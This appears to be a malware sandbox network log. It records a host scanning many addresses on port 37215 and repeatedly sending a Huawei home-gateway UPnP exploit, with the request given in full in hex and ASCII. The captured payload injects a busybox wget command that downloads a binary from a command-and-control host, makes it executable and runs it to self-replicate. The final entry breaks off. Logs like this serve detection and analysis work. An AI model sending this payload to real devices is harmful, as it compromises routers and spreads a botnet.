Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.58.146.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.5.24.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.12.107.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.102.69.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.21.83.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.205.32.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.216.233.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.15.220.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.121.49.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.75.68.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.204.223.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.156.114.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.202.210.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.57.68.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.210.42.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.34.212.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.189.112.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.134.149.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.52.162.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.72.240.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.40.6.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.72.133.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.252.201.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.176.221.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.205.41.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.250.91.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.46.239.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.81.128.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.156.80.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.191.188.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.52.96.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.247.238.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.173.126.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.150.5.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.219.219.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.88.49.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.102.243.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.143.29.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.145.211.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.68.215.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.191.196.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.226.77.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.195.149.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.34.65.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.116.151.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.192.38.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.11.80.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.242.241.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.157.15.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.119.121.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.124.170.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.14.202.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.208.151.38:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 41.90.202.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.244.16.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 156.175.216.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:4847 -> 197.11.181.240:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 